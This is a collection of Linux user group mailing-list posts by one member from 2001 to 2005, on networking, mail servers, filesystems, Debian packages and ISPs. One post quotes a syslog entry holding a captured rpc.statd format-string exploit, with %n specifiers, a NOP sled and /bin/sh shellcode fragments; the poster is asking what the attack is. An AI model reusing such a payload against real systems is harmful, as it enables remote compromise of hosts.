Re: [SLUG] ADSL connection advice

2005-06-07 Thread Jon Austin
On 6/8/05, Steven O'Reilly [EMAIL PROTECTED] wrote:
 Hi All
 
 I have recently got a broadband connection with iprimus with an
 external modem/router (Netcomm NB5).

Hi Steve,

The modem handles the PPPoE side of things. Make sure you have your
modems LAN address set as your default route.

It's just like connecting to any vanilla network.

Regards,

Jon
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Re: [SLUG] Linux System Administrator Wanted

2005-06-02 Thread Jon Austin
On 6/3/05, James Gray [EMAIL PROTECTED] wrote:
 I've been called many things where I work:
 Security Nazi
 RFC Zealot
 Unix Pig
 Linux Whore
 Rack Monkey
 Packet Sniffer (I jest you not!)
 Sneaky Little Bastard
 Hey you!

BOFH? 

In an office full of Dilbert fans, I am also referred to as Mordac -
The evil-hearted director of Information Services.
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Re: [SLUG] Bridged ADSL yoyoing

2005-03-23 Thread Jon Austin
Try adjusting the LCP_INTERVAL to a lower value, like 10.

On RedHat its stored in /etc/sysconfig/network-scripts/ifcfg-ppp0

Regards,

Jon

On Thu, 24 Mar 2005 15:32:12 +1100, Howard Lowndes [EMAIL PROTECTED] wrote:
 Has anyone had the experience of a bridged ADSL connection continually
 going up and down?
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Re: [SLUG] ISP recomendation

2005-03-22 Thread Jon Austin
I would not suggest TPG if you want low latency at all times..

Check out Broadband Choice  Whirlpool.. http://www.whirpool.net.au

If you need high ingress/egress bandwidth at all times, you probably
want a symmetrical circut, so a SHDSL rather than ADSL. Just don't buy
a consumer grade service and be upset when it has outages or doesnt
work 100% of the time. Spend the money and get a business grade
service if your Internet connectivity is that important.

Regards,

Jon


On Wed, 23 Mar 2005 14:56:26 +1100, Luke Skywalker [EMAIL PROTECTED] wrote:
 We use TPG here on 1500/256 ADSL and are very happy with there
 reliability and service

 Julio Cesar Ody wrote:
  Hi list,
 
  the company where I work now, for reasons beyond mention, is willing
  to change it's network provider. Since we work mostly with video
  conference software, we do need a reliable low-latency and high
  bandwidth connection.
  Which ISPs based in Sydney would you guys recommend for that? We're
  interested in a technical friendly provider whose techies know what
  they're doing, preferrably constituted by geeks.
  Cheers. Thanks in advance.
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Re: [SLUG] Unwired for Broadband ?

2004-12-13 Thread Jon Austin
See the Unwired forum on whirlpool.net.au for more info from a users
perspective.

I think Harvey Norman have a money back offer if it does not perform.

On Tue, 14 Dec 2004 13:27:43 +1100, Jason Rennie [EMAIL PROTECTED] wrote:
  As with all wireless stuff, your mileage will vary, but it's probably worth 
  trying it out.
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Re: [SLUG] Re: Debain stable; MySQL 4.1 backport?

2004-11-08 Thread Jon Austin
FWIW, I just ended up using the binary distribution of 4.1 from MySQL.
This was replacing a backdated port of 4.0

It used the existing configuration and data fine (from my limited testing).

There is a 4.1 debain package in the experimental branch, but I did
not have much joy.

Regards,

Jon

On Tue, 09 Nov 2004 10:11:55 +1100, Michael Lake [EMAIL PROTECTED] wrote:
 Chris Deigan wrote:
 
  On Mon, 08 Nov 2004 14:25:09 +1000, Jon Austin wrote:
 Does anyone know if such a beast exists?
 I need subquery support which is only present (I believe) in 4.1..
 
  By this point in time, you might as well think about upgrading to sarge
  (the next debian stable). It will go stable soon, so it might be worth
  considering before going to the effort of compiling from source or using
  an unknown/trusted backport.
 
 What happens with a stable system when testing becomes stable? I have a
 server with MySQL 3-something and my testing laptop is MySQL 4.1 so I
 gather that soon, when I do an apt-get update, the stable system will
 report that that it will upgrade from 3 to 4. I know the mysql tables
 changed structure from 3 to 4. I presume it will do a conversion seamlessly?
 
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[SLUG] Debain stable; MySQL 4.1 backport?

2004-11-07 Thread Jon Austin
Does anyone know if such a beast exists?

I need subquery support which is only present (I believe) in 4.1..

Backports.org is only at 4.0 and googling has proved fruitless so far.

If there is no joy, guess I will be building it from source. 

Regards,

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[SLUG] Postfix + MySQL

2004-10-27 Thread Jon Austin
Hey,

I have tried to get MySQL and postfix to talk to each other on Debian stable.

The problem I have is when Postfix tries to connect to MySQL, it has issues.

Oct 28 15:03:09 sheadoffice-bne postfix/trivial-rewrite[27803]:
warning: connect to mysql server localhost: Can't connect to local
MySQL server throug
h socket '/var/run/mysqld/mysqld.sock' (2)

Oct 28 15:03:09 sheadoffice-bne postfix/trivial-rewrite[27803]: fatal:
mysql:/etc/postfix/mysql_virtual_alias_maps.cf(0,100): table lookup
problem

Now I can use the mysql client with the same username and password and
connect successfully. I can also connect successfully using mysql
--socket=/var/run/mysqld/mysqld.sock

I've tried getting postfix to talk via 127.0.0.1 and also the real IP
address of the machine. I've also tried using
'unix:/var/run/mysqld/mysqld.sock' as the host in the postfix
virtual mapping.

I'm stumped and very frustrated. Any suggestions?

Kind regards,

Jon
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[SLUG] Resizing XFS paritions?

2004-10-04 Thread Jon Austin
Hello list,

I'd like to resize /dev/hdc1 to take up the entire disk. I've read
about xfs_growfs, but I'm worried about committing any changes without
some confirmation from the list about the steps involved. Last thing I
need to do is drive out to our datacenter right now. :)

Disk looks like: 

Disk /dev/hdc: 255 heads, 63 sectors, 9729 cylinders
Units = cylinders of 16065 * 512 bytes

   Device BootStart   EndBlocks   Id  System
/dev/hdc1 1   124995998+  83  Linux
/dev/hdc2   *   125  9729  77152162+  83  Linux

Using fdisk (or cfdisk), delete /dev/hdc2 and write the parition table.

run xfs_growfs -D /mountpoint (which is / in this case)

And /dev/hdc1 should now be 100% of /dev/hdc ?

Any comments appreciated.

Kind Regards,

Jon
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[SLUG] Re: Resizing XFS paritions?

2004-10-04 Thread Jon Austin
FYI, 

I ended up deleting hdc1 and hdc2, recreating hdc1 as the full disk
size. Then running lilo for good measure, and rebooting.

The parition remounted fine, and running xfs_growfs / grew the
filesystem as necessary and df reports the correct parition sizes.


On Mon, 4 Oct 2004 16:45:43 +1000, Jon Austin [EMAIL PROTECTED] wrote:
 Hello list,
 
 I'd like to resize /dev/hdc1 to take up the entire disk. I've read
 about xfs_growfs, but I'm worried about committing any changes without
 some confirmation from the list about the steps involved. Last thing I
 need to do is drive out to our datacenter right now. :)

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Re: [SLUG] Seeking GNOME application for image manipulation

2004-09-15 Thread Jon Austin
GD [http://www.boutell.com/gd/] library and a whole lot of scripting. :)

It should be easy to resize all the images programatically, but
rotating will have to be done by hand.

Jon

On Wed, 15 Sep 2004 17:21:34 +0100, Mary Gardiner
[EMAIL PROTECTED] wrote:
 I have the following use case:
 
 I take photos with a digital camera. I arrange these in a directory
 structure by hand. I would like to be able to rotate them (this camera
 isn't one of the ones which knows which way up it goes so I have to
 rotate all the images by hand) and resize them. Ideally I would do this
 by selecting a bunch of images in Nautilus or some image application and
 performing an action on them.
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Re: [SLUG] can I run 2 apache website in the same linux server

2001-12-03 Thread Jon Austin

Hi Xiaolu,

You should really do some research before asking the list.
google.com usually gives you the answers you need. =)
Virtual hosts is probably one of the most FAQ about apache.

You need one copy of Apache running then configure
different websites in the apache httpd.conf file. Use google
to find the relevant documentation on apache.org. The
keywords apache name virtualhost should get you what 
you need. Oh what the hell... This is a good starting point
but you may need to refer to documentation written by 
someone else as the apache docs are very formally
written and specifically worded (which is a good thing!)

http://httpd.apache.org/docs/vhosts/examples.html

Also, posting messages in HTML format will mean that it
won't get read by 95% of the list ;) (yes, I am aware of what
MUA I'm using)

Best Regards,

Jon Austin

- Original Message - 
From: Xiaolu Zhang 
To: 'Slug ([EMAIL PROTECTED])' 
Sent: Tuesday, December 04, 2001 3:06 PM
Subject: [SLUG] can I run 2 apache website in the same linux server


can I run 2 apache website in the same linux server,  if yes, how can I ?
 
xiaolu
 
 


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[SLUG] Archived email address - SPAM meat?

2001-11-15 Thread Jon Austin

I'm not sure if this has been covered by SLUG policy, but is 
it normal practise to have the list archive display every posters
valid email address? A lot of list archives I have seen scramble
or mask the email address.

I might just be paranoid, but I seem to have been getting a lot 
more spam since I started posting to SLUG - At least one
offer a day of someone trying to sell me a database of email
addresses. :) Spam does not bother me too much but it does
cost money. 

Jon



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[SLUG] Swapping KDE for GNOME?

2001-11-12 Thread Jon Austin

Hi Sluggers,

Not wanting to start a religious war here as to why I would do it,
but I want to play around with Gnome on a box here. The problem
being KDE is currently installed on the box.

No problem - just remove all the KDE packages.

I think that I have removed all the KDE stuff - but when I try to
install Gnome:

-
playbox:~# apt-get install task-ximian-gnome

Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
task-ximian-gnome: Depends: task-ximian-core but it is not going to be installed
E: Sorry, broken packages
-

If I try to install task-ximian-core, it fails because of dependencies on
package
called 'gmc'. If I try to install that, it fails because of dependencies on
packages
that start with libdb2.

I feel like there is a vital step I am missing here. Clues anyone?

Best regards,

Jon


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Re: [SLUG] Swapping KDE for GNOME?

2001-11-12 Thread Jon Austin

  If I try to install task-ximian-core, it fails because of dependencies on
  package called 'gmc'. If I try to install that, it fails because of
  dependencies on packages that start with libdb2.
  
  I feel like there is a vital step I am missing here. Clues anyone?
 
 Are you trying to install Ximian GNOME on sid or testing?

'tis a Potato box. 

Should I work backwards installing dependencies?


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Re: [SLUG] alternative file systems

2001-07-02 Thread Jon Austin

I have heard people are using XFS
with good results (hey Brad)

(i.e Turn off PC while X is running, File system
takes about 30seconds to sort itself out at bootup)

 when i get my new hard disk, i think i'd like to try an alternative file
 system than ext2.  i hear a lot of good things about reiserfs.  does
anyone
 have (positive) experience with journaling file systems?  are some better
 suited to raid?



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Re: [SLUG] Help I got hacked!!

2001-07-02 Thread Jon Austin

Hi Andy,

 I've just managed to get myself back online after a few days of 
 repairing damage caused by my first hack attack.

 I got hit by 'luckroot' which basically changes a whole heap of stuff in 
 /etc, /bin and all the usuals.  It seems to be an address / port scanner 
 which collects stuff and emails it back to someone somewhere 

If someone has installed a 'rootkit' on your box, then you are in
big trouble and need to re-install from scratch. Do *NOT* keep 
any binaries from your current box - data files only. Without something
'like' tripwire to verify the integrity of your binary files, you
probably still have trojaned programs lying around. Although
the cracker may not have access, you simply do not know
what little goodies they have left lying around for you.

Regards,

Jon Austin

- Original Message - 
From: Andy Eager [EMAIL PROTECTED]
To: slug [EMAIL PROTECTED]
Sent: Monday, July 02, 2001 6:19 PM
Subject: [SLUG] Help I got hacked!!


 Hi all,
 
 Help...
 
 I've just managed to get myself back online after a few days of 
 repairing damage caused by my first hack attack.
 
 I got hit by 'luckroot' which basically changes a whole heap of stuff in 
 /etc, /bin and all the usuals.  It seems to be an address / port scanner 
 which collects stuff and emails it back to someone somewhere 
 
 
 I fixed everything (I think except for /dev/hdc, /dev/console and the 
 /dev/tty's) 
 
 My question is:  Can I safely force rpm to reinstall the dev package ? 
 (without screwing my hard disk settings in the process ?
 
 Also, does anyone know of a service on the net that can attempt to find 
 these holes in my firewall / sysconfig without doing damage ?
 
 Thanks,
 
 Andrew E.
 
 PS:   Haven't these hacking  pr??ks got anything better to do with their 
 time !!
 
 
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Re: [SLUG] Joining SLUG Remotely

2001-06-28 Thread Jon Austin

 I have not followed this thread, but you guys may be able to use PayPal
for
 member dues etc, they now accept Australian Bank accounts, you can call me
 some time if you want me to explain how it all works or look at
 www.paypal.com

As I said last time this thread occurred...

The company I work for full time (and we contract SLUGers) offers a
'non credit card/bank account' (read: NOT paypal) payment system that
would easily let SLUG accept membership dues from anyone. Potential
SLUG member buys it from any Australia Post office (giroPost). We were
also prepared to offer SLUG a heavily discounted merchant fee.

I cannot do anything more than offer. It is up to someone in the committee
or enough SLUG'ers to request it.


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Re: [SLUG] [OT] Webmail as an ISP

2001-06-26 Thread Jon Austin

 Were we just on a good thing ?

Obviously not. One.Net is no more =)

 Is there someone else out there doing what one.net did ?

If you are looking for an ISP, http://www.cynosure.com.au/isp/
has a pretty good (albeit outdated) list of ISP's with what 
hosting/connection offerings they have.

- Original Message - 
From: Andy Eager [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Tuesday, June 26, 2001 4:20 PM
Subject: [SLUG] [OT] Webmail as an ISP


 Were we just on a good thing ?
 Is there someone else out there doing what one.net did ?


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Re: [SLUG] SCP on debian

2001-06-26 Thread Jon Austin

http://www.debian.org/distrib/packages

Still would not have done you any good; scp turns up no results.

- Original Message - 
From: Andrew Bennetts [EMAIL PROTECTED]
To: Ken Foskey [EMAIL PROTECTED]
Cc: slug [EMAIL PROTECTED]
Sent: Tuesday, June 26, 2001 11:18 PM
Subject: Re: [SLUG] SCP on debian


 On Tue, Jun 26, 2001 at 11:18:26PM +1000, Ken Foskey wrote:
 apt-cache search is normally enough.  When it isn't, I think there's a
 web search somewhere that lets you do the equivalent of a dpkg -S on the
 entire distribution.  I can't find it at the moment though.  Can anyone
 help me out here?  I'm sure I've seen it somewhere.



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[SLUG] rpc.statd vuln

2001-06-24 Thread Jon Austin

does anyone know what exploit this is and what versions of rpc.statd are
vuln? i have been looking
but no joy


Jun 25 19:10:23 tcpublic /sbin/rpc.statd[144]: gethostbyname error for
^XF7FFBF^XF7FFBF^YF7FFBF^YF7FF
BF^ZF7FFBF^ZF7FFBF^[F7FFBF^[F7FFBF%8x%8x%8x%8x%8x%
8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
20\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220
Jun 25 19:10:23 tcpublic
C7^F/binC7F^D/shA0C0\210F^G\211v^L\215V^P\215N^L\211F3B0^KCD\200
B0^ACD\200E8\177
FF



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[SLUG] OT: PHP help required (paid work)

2001-06-20 Thread Jon Austin

Hi,

I hope I am not stepping on anyones toes by making this request here
but

I am in *immediate* need of a PHP programmer. I.e. You are available for
work
in Parramatta today (preferable) or tomorrow. It is all fairly light-duty
stuff... just
tedious. =)

Please contact me by email with your hourly rate you normally charge and a
contact number.

Regards,

Jon Austin


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Re: [SLUG] OT - Telstra to cap flat rate ADSL Cable plans at 3Gb/month

2001-06-06 Thread Jon Austin

 Why then does New Zealand (that island just to the east of us with 1/3 our
 population) have such low ISP charges and such a great phone system? My
brother
 lives in NZ, and he pays about 1/2 what I pay over here for equivalent
service.
 Based on exchange rates, he *should* be paying about 15% more than I do.
 Population is NOT an issue here.

To say that population is not an issue is just silly. Look at any product or
service in any market; it will usually be cheaper in bigger countries such
as the USA. Economies of scale, supply vs. demand and all that other
economic stuff...

Thinking about it logically, the price difference might be explained like
this.
It is very expensive to roll out a national network. DSLAM's, frame relay
tails etc. is all very expensive. Australia has about 3.5 people per square
km compared with NZ which has about 14 people per square km. So in
NZ, the carriers can geographically reach ~5 times the number of people
(proportionally). But in Australia most of the national population is
focused
in the capital cities, so I guess that throws that argument out the window.
=)

I heard that Australia wont have cheap digital TV's for many years.
Apparently
Australia is using a different implementation of Digital TV and the chances
of any of the big multinational electronics makers churning out the Aussie
version of the TV's (in sufficient quantity to make it affordable - a
difficult thing
to do in a small market) is very slim Thanks Alston!


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Re: [SLUG] ftp problem

2001-05-22 Thread Jon Austin

http://it.mycareer.com.au/breaking/2001/05/23/FFXPHP8Z1NC.html

The have stopped transparent proxying; are you still having the same
problems?

 I am not sure but wasnt there a thread around a week back or so that optus
 had changed something (without telling their users)?



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Re: [SLUG] 2 x Mac plus with keyboard and mouse

2001-05-15 Thread Jon Austin

Mac + (plus).. it would seem.

http://www.applemuseum.seastar.net/sections/computers/macplus.html


 What model Macs are they?
 
 Thus spake Terry Collins ([EMAIL PROTECTED]), on  0:
 
  Are these any good for running Linux?
  (is that an open question or what {:_)
  
  If so, which version/distro?
  
  2 x Mac plus with keyboard and mouse
  
  What can reasonably be done with them?
  
  taah.
 
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Re: [SLUG] MS goofs?

2001-05-01 Thread Jon Austin

on a more serious MS goof, another remote vulnerability for IIS 5.0 was
found
today. MS has put patches out, but these usually break things more or open
new vuln..

http://www.eeye.com/html/Research/Advisories/AD20010501.html

I can't remember the last time I saw an advisory for Apache..

Quote from the advisory:

It seems sometimes the greatest discoveries are the ones that are the
hardest to share with the world. Its not about a lack of wanting to tell
everyone but a lack of not knowing exactly how to put it so that peoples
jaws do not drop so fast that their head snaps back as they realize just
how
fragile our world is becoming as we slowly push society into the digital
world people only dreamed about years ago. A world in which everything is
being connected and little is being done to shore up the large looming gaps
that are in existance in todays networked systems.

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From: Peter Worboys [EMAIL PROTECTED]
To: Heracles [EMAIL PROTECTED]
Cc: SLUG [EMAIL PROTECTED]
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Subject: Re: [SLUG] MS goofs?


| Sources close to Microsoft suggest they are working on a patch to fix
this
| Outlook Bug
|
| PW
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Re: [SLUG] MS goofs?

2001-05-01 Thread Jon Austin

on a more serious MS goof, another remote vulnerability for IIS 5.0 was
found
today. MS has put patches out, but these usually break things more or open
new vuln..

http://www.eeye.com/html/Research/Advisories/AD20010501.html

I can't remember the last time I saw an advisory for Apache..

Quote from the advisory:

It seems sometimes the greatest discoveries are the ones that are the
hardest to share with the world. Its not about a lack of wanting to tell
everyone but a lack of not knowing exactly how to put it so that peoples
jaws do not drop so fast that their head snaps back as they realize just
how
fragile our world is becoming as we slowly push society into the digital
world people only dreamed about years ago. A world in which everything is
being connected and little is being done to shore up the large looming gaps
that are in existance in todays networked systems.

- Original Message -
From: Peter Worboys [EMAIL PROTECTED]
To: Heracles [EMAIL PROTECTED]
Cc: SLUG [EMAIL PROTECTED]
Sent: Wednesday, May 02, 2001 1:04 PM
Subject: Re: [SLUG] MS goofs?


| Sources close to Microsoft suggest they are working on a patch to fix
this
| Outlook Bug
|
| PW
|



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Re: [SLUG] MS goofs?

2001-05-01 Thread Jon Austin

on a more serious MS goof, another remote vulnerability for IIS 5.0 was
found
today. MS has put patches out, but these usually break things more or open
new vuln..

http://www.eeye.com/html/Research/Advisories/AD20010501.html

I can't remember the last time I saw an advisory for Apache..

Quote from the advisory:

It seems sometimes the greatest discoveries are the ones that are the
hardest to share with the world. Its not about a lack of wanting to tell
everyone but a lack of not knowing exactly how to put it so that peoples
jaws do not drop so fast that their head snaps back as they realize just
how
fragile our world is becoming as we slowly push society into the digital
world people only dreamed about years ago. A world in which everything is
being connected and little is being done to shore up the large looming gaps
that are in existance in todays networked systems.

- Original Message -
From: Peter Worboys [EMAIL PROTECTED]
To: Heracles [EMAIL PROTECTED]
Cc: SLUG [EMAIL PROTECTED]
Sent: Wednesday, May 02, 2001 1:04 PM
Subject: Re: [SLUG] MS goofs?


| Sources close to Microsoft suggest they are working on a patch to fix
this
| Outlook Bug
|
| PW
|



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Re: [SLUG] Distributed SLUG Membership

2001-04-26 Thread Jon Austin

relevant plug

The company I work for offers a non credit card payment system for
the Internet. We have a system where you can buy TECHNOCASH from
Australia Post outlets and then some of the details of the receipt
can be quoted to buy goods/services online.

I have already put this forward to Jeff Waugh and I can now confirm
that TECHNOCASH is willing to offer SLUG a discounted merchant fee
of 1.5%.

I think it would be great for the non credit card users out there
and the people who don't have credit cards (me!) to pay membership
dues. Members can spend residual money left over at sites like
sanity.com.au and gamesmarket.com.au.

/plug


- Original Message -
From: Ralph Wallis [EMAIL PROTECTED]
To: Jamie Honan [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Thursday, April 26, 2001 11:42 AM
Subject: Re: [SLUG] Distributed SLUG Membership


| On Thursday, 26 Apr 2001 at 08:59, Jamie Honan [EMAIL PROTECTED]
wrote:
|  What about a paypal system? On the surface seems easier to set up.
|
| as noted elsewhere, paypal only pays into US accounts, so
| it's only useful for buying from the US. If someone has a
| way around this, please speak up.
|
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Re: [SLUG] Mail question

2001-04-26 Thread Jon Austin

H.. it looks like you are not sending a HELO...

mx01:~/$ telnet gw1.sesahs.nsw.gov.au smtp
Trying 203.10.48.11...
Connected to gw1.sesahs.nsw.gov.au.
Escape character is '^]'.
220 gw1 SMTPXD version 57 ready at Fri, 27 Apr 2001 15:13:01 EST
mail from:[EMAIL PROTECTED]
503 please introduce yourself, first

As opposed to, 

mx01:~/$ telnet gw1.sesahs.nsw.gov.au smtp
Trying 203.10.48.11...
Connected to gw1.sesahs.nsw.gov.au.
Escape character is '^]'.
220 gw1 SMTPXD version 57 ready at Fri, 27 Apr 2001 15:14:03 EST
HELO
250 gw1 Hello mx01.flux.net.au, pleased to meet you
MAIL FROM:[EMAIL PROTECTED]
250 [EMAIL PROTECTED]... Sender ok

Is it being sent by your own mail server or by MPX?

| ... while talking to gw1.sesahs.nsw.gov.au.:
|   MAIL From:[EMAIL PROTECTED]
|  503 please introduce yourself, first



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Re: [SLUG] martian source?

2001-04-26 Thread Jon Austin

A quick search of google reveals..

http://boudicca.tux.org/mhonarc/ma-linux/2001-Jan/msg00372.html

(from another LUG mailing list)

It means there are some bogus packets floating around your network..
Are you doing any tricky ARP stuff?

| 0:00:34 fred kernel: martian source 59c56840 for 59c56840, dev eth0
| 0:00:34 fred kernel: ll header: ff ff ff ff ff ff 00 00 86 48 87 8f 08 06



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Re: [SLUG] Project Management software

2001-04-18 Thread Jon Austin

| all,
| 
| one of our people just came to me asking me about 
| "Project Management Software" and my immediate reaction was a "?"
| and "oh no Microsoft" 
| 
| I havent got a clue and dont even know where to start 
| Most of the client workstations are NT based but if I can I would
| run parts of the software (databse based???) on a linux server
| where people can attach to (using some kind of client).

I would start by looking at your requirements;

* What type of project management do you need? 
eg. Scheduling, collaboration, tracking

* What type of project are you trying to manage?
eg. construction, software development. Is there
something industry specific out there already?

* Your budget =)

There are a lot of free web based packages you could use
or adapt. Bugzilla is handy and could be adapted as
a problem reporting/tracking tool for most projects.
If you are doing software development, I would give
SourceForge a go.

Of course you could also roll your own using some sort
of script/db hybrid. (php/mysql, asp/sqlserver)


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[SLUG] RedHat 7.1 Debian 2.2r3 downloads

2001-04-17 Thread Jon Austin

Hi,

I'm sure most people here are very aware of
using mirrors and the such, but if you are planning
to update to RH7.1 or Debian 2.2r3, please ensure
you are downloading from a local mirror!

Jason Andrade (maintainer of mirror.aarnet.edu.au)
writes:

| RedHat have released RHLinux 7.1 early this morning and it's
| currently swamping networks around the world.  If you or your
| customers are trying to get it, can you try some of the AU
| mirrors first and/or point customers at them?  if you're thinking
| about mirroring it locally for redistribution, also try and contact
| one of the local sites before hitting redhat.com which is..
| swamped at present.

So just so you dont have to go looking, here is a list of (some)
local RedHat mirrors:

AU:

planetmirror.com/pub/redhat/linux/7.1/(http, ftp and rsync)
mirror.aarnet.edu.au/pub/redhat/linux/7.1/(http, ftp - ISO only)
ftp.netcraft.com.au/pub/redhat/   (ftp)
ftp.iinet.net.au/pub/linux/redhat/linux/7.1/  (ftp)
mirror.pacific.net.au/redhat/linux/7.1/   (http, ftp)
ftp.monash.edu.au/pub/linux/redhat/linux/7.1/ (ftp - ISO only)

NZ mirror:

ftp.isl.net.nz

And some mirrors for debian:

planetmirror.com/pub/debian/
planetmirror.com/pub/debian-non-US/
planetmirror.com/pub/debian-cd/
planetmirror.com/pub/debian-cd/unofficial/ (woody/sid/hurd)
planetmirror.com/pub/debian-security/  (unoffical)
planetmirror.com/pub/debian-kde/
planetmirror.com/pub/progenylinux/
ftp.linux.org.au/pub/debian/
ftp.linux.org.au/pub/debian-non-US/
ftp.linux.org.au/pub/debian-cd/
mirror.aarnet.edu.au/pub/debian/
mirror.aarnet.edu.au/pub/debian-non-US/
mirror.aarnet.edu.au/pub/debian-cd/
mirror.pacific.net.au/debian/
mirror.pacific.net.au/debian-non-US/
mirror.pacific.net.au/debian-cd/
ftp.it.net.au/pub/debian/
ftp.it.net.au/pub/debian-non-US/
ftp.it.net.au/pub/debian-cd/

Regards,

Jon Austin


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